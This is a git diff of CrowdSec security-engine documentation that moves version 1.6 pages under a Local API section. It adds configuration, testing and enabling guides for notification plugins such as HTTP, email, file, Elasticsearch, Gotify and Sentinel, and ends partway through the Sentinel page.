+See the [Local API public documentation](https://crowdsecurity.github.io/api_doc/lapi/).
+
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/database.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/database.md
similarity index 85%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/local_api/database.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/database.md
index 8ec5528e1..9da286807 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/database.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/database.md
@@ -11,8 +11,8 @@ For `SQLite`, there is nothing to do to make it work with CrowdSec. For `MySQL`,
Please refer to [ent.](https://entgo.io/) [supported database](https://entgo.io/docs/dialects/). At the time of writing :
- MySQL `5.6.35`, `5.7.26` and `8`
- - MariaDB `10.2` and latest
- - PostgreSQL `10`, `11` and `12`
+ - MariaDB `10.2`, `10.3` and latest
+ - PostgreSQL `11`, `12`, `13`, `14` and `15`
- SQLite
- Gremlin
@@ -49,6 +49,13 @@ postgres=# ALTER SCHEMA public owner to crowdsec;
postgres=# GRANT ALL PRIVILEGES ON DATABASE crowdsec TO crowdsec;
```
+If you are running a version of PostgreSQL >= 15, you will also need to grant permission to create objects in the `public` schema:
+
+```
+postgres=# \c crowdsec
+postgres=# GRANT CREATE on SCHEMA public TO crowdsec;
+```
+
Then edit `/etc/crowdsec/config.yaml` to update the [`db_config`](/configuration/crowdsec_configuration.md#db_config) part.
You can now start or restart CrowdSec.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/intro.md
new file mode 100644
index 000000000..6719e8bd4
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/intro.md
@@ -0,0 +1,45 @@
+---
+id: intro
+title: Introduction
+sidebar_position: 1
+---
+
+# Local API
+
+The Local API (LAPI) is one of the core components of the Security Engine to :
+
+ - Allow Log Processors to push alerts & decisions to a database
+ - Allow Remediation Components to consume said alerts & decisions from database
+ - Allow `cscli` to manage the database (list, delete, etc)
+
+You can find the swagger documentation [here](https://crowdsecurity.github.io/api_doc/lapi/).
+
+This allows you to create [multi-machines architectures](https://crowdsec.net/multi-server-setup/) around CrowdSec or leverage [orchestration technologies](https://crowdsec.net/secure-docker-compose-stacks-with-crowdsec/).
+
+All subcategories below are related to the Local API and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the LAPI server.
+
+For example if you wish to receive notifications then you will only need to configure the Notification Plugins on the LAPI server and not each [log processor](log_processor/intro.mdx).
+
+## Authentication
+
+LAPI offers multiple different authentication methods, which has their own restrictions based on the method used.
+
+You can find more information about the authentication methods [here](local_api/authentication.md).
+
+## Profiles
+
+Profiles are a set of rules processed by the LAPI to determine if an alert should trigger a decision, notification or just simply log. They are processed in order of definition and can be used to make complex decisions based on the alert.
+
+You can find more information about profiles [here](local_api/profiles/intro.md).
+
+## Notification Plugins
+
+Notification plugins are used to send alerts to external services.
+
+You can find more information about configuring the plugins [here](local_api/notification_plugins/intro.md).
+
+## Databases
+
+Databases documentation showcases which database the LAPI supports and how to configure the database to allow the LAPI to utilize it.
+
+You can find more information about the databases [here](local_api/database.md).
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/elasticsearch.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/elasticsearch.md
similarity index 86%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/elasticsearch.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/elasticsearch.md
index 44f46c256..a0b691ed6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/elasticsearch.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/elasticsearch.md
@@ -3,10 +3,20 @@ id: elastic
title: Elasticsearch
---
-Elasticsearch can be integrated with CrowdSec by using the HTTP plugin. Enable it by following these [instructions](/notification_plugins/http.md) .
+CrowdSec can forward Alerts to Elasticsearch using the HTTP plugin. This guide will show you how to configure the plugin to send alerts to your Elasticsearch instance.
+
+## Configuring the plugin
+
+By default the configuration for HTTP plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
Then replace the `url` and the `format` of the plugin's config so that it posts the events to your Elasticsearch instance.
+### Base configuration
+
An example configuration:
```yaml
@@ -29,7 +39,7 @@ headers:
```
-## Authentication
+### Authentication
If you have enabled security on your elasticsearch cluster, you will have to add a custom `Authorization` header to be able to insert the events.
@@ -61,7 +71,7 @@ headers:
```
-## Self-Signed certificate
+### Self-Signed certificate
If your elasticsearch cluster uses a self-signed certificate, you must set `skip_tls_verification` to `true` in your configuration:
```yaml
@@ -84,7 +94,7 @@ headers:
```
-## Potential mapping issues
+### Potential mapping issues
If you are facing errors because mapper complains about field types inference, ie:
@@ -355,6 +365,57 @@ headers:
Authorization: "Basic [redacted]"
```
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with http plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - http_default
+on_success: break
+```
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/email.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/email.md
similarity index 52%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/email.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/email.md
index 33ad4c238..2ff9cc0f1 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/email.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/email.md
@@ -3,27 +3,19 @@ id: email
title: Email Plugin
---
-The Email plugin is shipped by default with CrowdSec. This guide shows how to enable it.
+The Email plugin is shipped by default with CrowdSec. The following guide shows how to configure, test and enable it.
-## Enabling the plugin:
+## Configuring the plugin
-In the profile configuration (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section:
+By default the configuration for Email plugin is located at these default location per OS:
-```
-#notifications:
-# - email_default
-```
-
-Every alert that passes the profile's filter will be dispatched to the `email_default` plugin.
+- **Linux** `/etc/crowdsec/notifications/email.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/email.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\email.yaml`
-## Configuring the plugin:
+### Base configuration
-The default configuration for the email plugin is located at `/etc/crowdsec/notifications/email.yaml`.
-You need to provide the credentials for the SMTP server here.
-
-### Example configuration for Gmail
-
-Here's an example configuration that sends alerts to `receiver@gmail.com`:
+Here is the base configuration for the Email plugin:
```yaml
type: email # Don't change
@@ -84,6 +76,73 @@ encryption_type: "ssltls"
The `format` configuration directive is a [go template](https://pkg.go.dev/text/template), which receives a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+Typical port and TLS/SSL settings
+
+| Port | Encryption Type |
+|------|-----------------|
+| 25 | none |
+| 465 | ssltls |
+| 587 | starttls |
+
+:::warning
+Port 25 should be avoided at all costs as it is commonly blocked by ISPs and email providers and is insecure as it sends in plain text.
+:::
+
+:::info
+Port settings above are common, but may vary depending on your email provider. Please refer to your email provider's documentation for the correct settings.
+:::
+
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test email_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `email_default` plugin list item.
+
+```
+#notifications:
+# - email_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with email plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - email_default
+on_success: break
+```
+
+
+
## Final Steps:
Restart CrowdSec with the following command:
@@ -91,5 +150,3 @@ Restart CrowdSec with the following command:
```bash
sudo systemctl restart crowdsec
```
-
-To verify if the plugin is functioning correctly, you can trigger scenarios using tools like wapiti, nikto etc.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/file.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/file.md
new file mode 100644
index 000000000..cf09d1bd5
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/file.md
@@ -0,0 +1,136 @@
+---
+id: file
+title: File Plugin
+---
+
+The File plugin is by default shipped with your CrowdSec installation and allows you to write Alerts to an external file that can be monitored by external applications. The following guide shows how to configure, test and enable it.
+
+## Configuring the plugin
+
+By default the configuration for Email plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/file.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/file.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\file.yaml`
+
+### Base configuration
+
+Example config which writes Alerts to a file using NDJson (**N**ewline **D**elimiter **J**ava**S**cript **O**bject **N**otation) format to `/tmp/crowdsec_alerts.json`.
+
+```yaml
+# Don't change this
+type: file
+
+name: file_default # this must match with the registered plugin in the profile
+log_level: info # Options include: trace, debug, info, warn, error, off
+
+# This template render all events as ndjson
+format: |
+ {{range . -}}
+ { "time": "{{.StopAt}}", "program": "crowdsec", "alert": {{. | toJson }} }
+ {{ end -}}
+
+# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s"
+# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10"
+
+#Use full path EG /tmp/crowdsec_alerts.json
+log_path: "/tmp/crowdsec_alerts.json"
+rotate:
+ enabled: true # Change to false if you want to handle log rotate on system basis
+ max_size: 10 # in MB
+ max_files: 5 # Number of files to keep
+ max_age: 5 # in days but may remove files before this if max_files is reached
+ compress: true # Compress rotated files using gzip
+```
+
+**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+
+:::warning
+Some SIEM agents may not support some top level keys we define in the default ndjson format. Please make sure to adjust the format to match your SIEM agent's requirements.
+:::
+
+### SIEM Integration
+
+:::warning
+Please note if you change the format that is printed to the file you must also configure the collector on the SIEM side to also expect the same format
+:::
+
+#### Filebeat
+
+Filebeat has a set of reserved top level keys and should not be used in the ndjson format. The following format can be used to be compatible with Filebeat:
+
+```yaml
+format: |
+ {{range . -}}
+ { "time": "{{.StopAt}}", "source": "crowdsec", "alert": {{. | toJson }} }
+ {{ end -}}
+```
+#### Wazuh
+
+Wazuh has set of reserved top level keys and may cause logs not to be sent by the agent. The following format can be used to be compatible with Wazuh:
+
+```yaml
+format: |
+ {{range . -}}
+ { "crowdsec": { "time": "", "program": "crowdsec", "alert": {{. | toJson }} }}
+ {{ end -}}
+```
+
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test file_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `file_default` plugin list item.
+
+```
+#notifications:
+# - file_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with file plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - file_default
+on_success: break
+```
+
+
+
+## Final Steps:
+
+Let's restart crowdsec
+
+```bash
+sudo systemctl restart crowdsec
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/gotify.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/gotify.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/gotify.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/gotify.md
index 3350f5e09..e35dd33ee 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/gotify.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/gotify.md
@@ -3,11 +3,21 @@ id: gotify
title: Gotify
---
-Gotify can be integrated with CrowdSec by using the HTTP plugin. Enable it by following these [instructions](/notification_plugins/http.md) .
+CrowdSec can forward Alerts to Gotify via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Gotify instance.
-Then replace the `` and the `` of the plugin's config so that it send the events to your Gotify instance.
+## Configuring the plugin
+
+By default the configuration for HTTP plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
+
+### Base configuration
-An example configuration:
+You can replace the file contents with the following configuration:
+
+Then replace the `` and the `` of the plugin's config so that it send the events to your Gotify instance.
```yaml
type: http # Don't change
@@ -55,6 +65,57 @@ headers:
# skip_tls_verification: # true or false. Default is false
```
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with http plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - http_default
+on_success: break
+```
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/helpers.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/helpers.md
index 4259beb02..48dfbd8b6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/helpers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/helpers.md
@@ -9,7 +9,7 @@ In order to simplify some operation in the templates, we provide some custom hel
The [Sprig](https://masterminds.github.io/sprig/) library is available in the templates, and provides a lot of useful functions. Refer to the sprig documentation for more information.
-## Crowdsec specific helpers
+## CrowdSec specific helpers
### `HTMLEscape`
@@ -66,4 +66,4 @@ Documentation on the available fields and methods is [here](https://pkg.go.dev/g
{{- $cti := $alert.Source.IP | CrowdsecCTI -}}
{{" "}}{{mulf $cti.GetMaliciousnessScore 100 | floor}} %
{{- end }}
-```
\ No newline at end of file
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/http.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/http.md
new file mode 100644
index 000000000..075c6fca7
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/http.md
@@ -0,0 +1,117 @@
+---
+id: http
+title: HTTP Plugin
+---
+
+The HTTP plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it.
+
+Every alert which would pass the profile's filter would be dispatched to `http_default` plugin.
+
+## Configuring the plugin
+
+By default the configuration for HTTP plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
+
+Configure how to make web requests by providing the `url`, `method`, `headers` etc.
+
+### Adding the plugin configuration
+
+Configure how to make web requests by providing the `url`, `method`, `headers` etc.
+
+Example config which posts the alerts serialized into json to localhost server.
+
+```yaml
+# Don't change this
+type: http
+
+name: http_default # this must match with the registered plugin in the profile
+log_level: info # Options include: trace, debug, info, warn, error, off
+
+format: | # This template receives list of models.Alert objects. The request body would contain this.
+ {{.|toJson}}
+
+url: http://localhost # plugin will make requests to this url. Eg value https://www.example.com/
+# unix_socket: /var/run/example.sock # plugin will send the `url` across the unix socket instead of opening a remote connection
+
+method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value.
+
+# headers:
+# Authorization: token 0x64312313
+
+# skip_tls_verification: # either true or false. Default is false
+
+# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s"
+
+# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10"
+
+# max_retry: # number of tries to attempt to send message to plugins in case of error.
+
+# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s"
+
+```
+
+:::info
+`format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+:::
+
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with http plugin enabled
+
+```yaml
+name: default_ip_remediation
+#debug: true
+filters:
+ - Alert.Remediation == true && Alert.GetScope() == "Ip"
+decisions:
+ - type: ban
+ duration: 4h
+#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4)
+#highlight-next-line
+notifications:
+#highlight-next-line
+ - http_default
+on_success: break
+```
+
+
+
+## Final Steps:
+
+Let's restart crowdsec
+
+```bash
+sudo systemctl restart crowdsec
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/intro.md
similarity index 82%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/intro.md
index df13fe350..0e9d29d74 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/intro.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/intro.md
@@ -3,35 +3,46 @@ id: intro
title: Introduction
---
-import CodeBlock from '@theme/CodeBlock';
-
### Goal
-CrowdSec supports notification plugins, meant to be able to push alerts to third party services for alerting or integration purposes.
-At the time of writing, plugins exists for [slack](/notification_plugins/slack.md), [splunk](/notification_plugins/splunk.md), and a generic [http push](/notification_plugins/http.md) plugin (allowing to push to services such as [elasticsearch](/notification_plugins/elasticsearch.md)).
+CrowdSec supports notification plugins, which allows alerts to pushed to third party services for alerting or integration purposes.
-Plugins are defined at LAPI level. Events get dispatched to said plugins via [profile configuration](/profiles/intro.md).
+Plugins are defined and used at the LAPI level, so if you are running a multi-server setup, you will configure the plugins on the server that is receiving the alerts. If you are not running a multi-server setup, you will configure the plugins on the same server as the main CrowdSec process.
### Configuration
-The default plugins are shipped with CrowdSec upon installation, and can trivially be enabled without further installation.
-
-Refer directly to each plugin's dedicated documentation and keep in mind that plugins needs to be enabled/dispatched at the [profile](/profiles/intro.md) level via the dedicated `notifications` section (defaults to `/etc/crowdsec/profiles.yaml`.md).
-
+By default all plugins are shipped with CrowdSec are within the install package, and can trivially be enabled without further need to install additional packages.
+Refer directly to each plugin's dedicated documentation and keep in mind that plugins needs to be enabled/dispatched at the [profile](/local_api/profiles/intro.md) level via the dedicated `notifications` section (defaults to `/etc/crowdsec/profiles.yaml`.md).
Plugin binaries are present in `config_paths.plugin_dir` (defaults to `/var/lib/crowdsec/plugins/`), and their individual configuration are present in `config_paths.notification_dir` (defaults to `/etc/crowdsec/notifications/`)
-
-**Important:** CrowdSec rejects the plugins if one of the following is true :
+:::warning
+CrowdSec rejects the plugins binaries if one of the following is true :
1. plugin is not owned by the root user and root group.
2. plugin is world-writable.
-
+:::
### Environment variables
It is possible to set configuration values based on environment variables.
+However, depending on which key is using the environment variable, the syntax is different.
+
+#### Format
+
+The `format` key is a string that uses the [go template](https://pkg.go.dev/text/template) syntax. To use an environment variable in the `format` key, you can use the `env` function provided by [sprig](https://masterminds.github.io/sprig/).
+
+```yaml
+format: |
+ Received {{ len . }} alerts
+ Environment variable value: {{env "ENV_VAR"}}
+```
+
+#### Other keys
+
+All other keys than `format` can use the typical `${ENV_VAR}` or `$ENV_VAR` syntax.
+
For example, if you don't want to store your SMTP host password in the configuration file, you can do this:
```yaml
@@ -45,6 +56,21 @@ sender_email: email@gmail.com
email_subject: "CrowdSec Notification"
```
+:::warning
+Please note that `cscli notifications inspect` command does not interpolate environment variables and will always show the raw value of the key.
+:::
+
+If you wish to use `cscli notifications test` command, you must provide the environment variables in the command line or within your shell environment.
+
+For example, if you have a `SMTP_PASSWORD` environment variable, you can test the `email_default` plugin with the following command:
+
+:::warning
+Some shells may hold this information in history, so please consult your shell documentation to ensure that the password or other sensitive data is not stored in clear text.
+:::
+
+```bash
+SMTP_PASSWORD=your_password cscli notifications test email_default
+```
### Registering plugin to profile
@@ -68,7 +94,8 @@ notifications:
### Notification plugin configuration:
-Following are the fields CrowdSec main process can interpret.
+Following fields are provided to all notification plugins and not specific to any plugin.
+
```yaml
type:
name:
@@ -77,10 +104,8 @@ group_wait:
group_threshold:
max_retry:
timeout:
-
-
-
```
+
#### `type` :
Required. Type of plugin, eg "slack"
@@ -126,32 +151,36 @@ Currently only `notification` plugins are supported. Whenever CrowdSec receives
[See](https://github.com/crowdsecurity/crowdsec/blob/plugins/pkg/protobufs/notifier.proto) the gRPC protocol for `notification` plugins.
+In the following sections we use `/etc/crowdsec/config.yaml` for configuration file paths. However depending on your platform the paths can be interchanged with the following:
+
+- **Linux** `/etc/crowdsec/config.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/config.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\config.yaml`
+
#### Plugin Discovery
Plugins are discovered from the directories specified in `/etc/crowdsec/config.yaml`.
-```yaml
-#/etc/crowdsec/config.yaml
-.....
+```yaml title="/etc/crowdsec/config.yaml"
config_paths:
notification_dir: /etc/crowdsec/notifications/
plugin_dir: /var/lib/crowdsec/plugins/
-.....
```
#### Plugin Process Owner
-Due to security reasons, plugins are ideally ran with dropped priveleges. This is done by setting owner and group of the plugin process as some unprivileged user. This can be configured via setting the desired user and group in `/etc/crowdsec/config.yaml`.
+Due to security reasons, plugins process are operated under a user with limited privileges. This is done by setting owner and group of the plugin process as some unprivileged user. This can be configured via setting the desired user and group in `/etc/crowdsec/config.yaml`.
-```yaml
-#/etc/crowdsec/config.yaml
-.....
+```yaml title="/etc/crowdsec/config.yaml"
plugin_config:
user: nobody
group: nogroup
-.....
```
+:::note
+Depending on your distribution or platform these values may change to `nobody` or `nogroup`. If you wish to update these values, please ensure that the user and group exist on your system.
+:::
+
### Alert object
You have access to the list of alerts that triggered the notification when writing the go-template in the `format` parameter.
@@ -190,8 +219,9 @@ To use them in a go-template, you can check [here](https://pkg.go.dev/github.com
Show the full alert object
-
-{`[
+
+```json
+[
{
"capacity": 5,
"decisions": [
@@ -572,8 +602,9 @@ To use them in a go-template, you can check [here](https://pkg.go.dev/github.com
"start_at": "2022-02-12T14:10:21Z",
"stop_at": "2022-02-12T14:10:23Z"
}
-]`}
-
+]
+```
+
#### Usage examples
@@ -606,55 +637,19 @@ Extract the meta associated with the alerts
{{ end }}
```
----
-
-Teams webhook
-
-```
- {
- "$schema": "https://adaptivecards.io/schemas/adaptive-card.json",
- "type": "AdaptiveCard",
- "version": "1.0",
- "body": [
- {{range .}}
- {{ $decisions_len := len .Decisions }}
- {
- "type": "TextBlock",
- "text": "Attack start: {{.StartAt}}"
- },
- {
- "type": "TextBlock",
- "text": "Attack End: {{.StopAt}}"
- },
- {{ range $index, $element := .Decisions }}
- {
- "type": "TextBlock",
- "text": "{{$element.Value}} performed {{$element.Scenario}} and got a {{$element.Duration}} {{$element.Type}}"
- }
- {{ if lt $index (sub $decisions_len 1) }}
- ,
- {{ end }}
- {{ end }}
- {{end}}
- ]
- }
-```
-
### Debugging notifications plugins
-cscli cli tool provide some useful command to help write notification
+**cscli** tool provide some useful command to help write notification
plugin configuration. Those are provided by the `cscli notifications`
command and its subcommands.
-First `cscli notifications list` will list the active configured
-notifications plugins. Then it's possible to get configuration
-information for each notification plugin using its given name by
-executing `cscli notifications inspect `.
-
-The last other helpful subcommand is for testing notifications plugins
-directly. It takes an id and reinject the alert through the matched
-profile notifications. If the alert matches a profile with no
-configured notifications then no notification will be generated. This
-can be useful to test both the profile configuration and the normal
-operation of the notifications plugins.
+| SubCommand | Description |
+|---------|-------------|
+| [list](/cscli/cscli_notifications_list.md) | List all notification plugins and their status |
+| [inspect](/cscli/cscli_notifications_inspect.md) | Get configuration information for a notification plugin |
+| [test](/cscli/cscli_notifications_test.md) | Test the configuration by sending a `generic` alert directly to notification plugin |
+| [reinject](/cscli/cscli_notifications_reinject.md) | Reinject an Alert to the profiles pipeline to simulate real processing of an Alert |
+:::info
+Please note the difference between `reinject` and `test`, `reinject` will send the alert to the profiles pipeline and then to the notification plugin that is `active` on the matched profile, while `test` will send the alert directly to the notification plugin no matter if the plugin is active or defined within a profile.
+:::
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/sentinel.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/sentinel.md
similarity index 53%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/sentinel.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/sentinel.md
index 91397e39b..159a387fd 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/sentinel.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/sentinel.md
@@ -3,21 +3,18 @@ id: sentinel
title: Sentinel Plugin
---
-The sentinel plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it.
+The sentinel plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it.
-## Enabling the plugin:
+## Configuring the plugin
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - sentinel_default
-```
+By default there would be a sentinel config at these default location per OS:
-## Configuring the plugin:
+- **Linux** `/etc/crowdsec/notifications/sentinel.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/sentinel.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\sentinel.yaml`
-### Adding the plugin configuration
+### Base configuration
-By default there would be a sentinel config at `/etc/crowdsec/notifications/sentinel.yaml`.
You will need to specify:
- customer_id
- shared_key
@@ -70,13 +67,61 @@ The log type is the name of the log that will be sent to azure.
Assuming you chose `crowdsec`, it will appear as `crowdsec_CL` in azure.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test sentinel_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `sentinel_default` with the new name.
+:::
+
+## Enabling the plugin
-## Final Steps:
+In your profiles you will need to uncomment the `notifications` key and the `sentinel_default` plugin list item.
+
+```
+#notifications:
+# - sentinel_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `sentinel_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+
+
+Example profile with sentinel plugin enabled
+
+```yaml
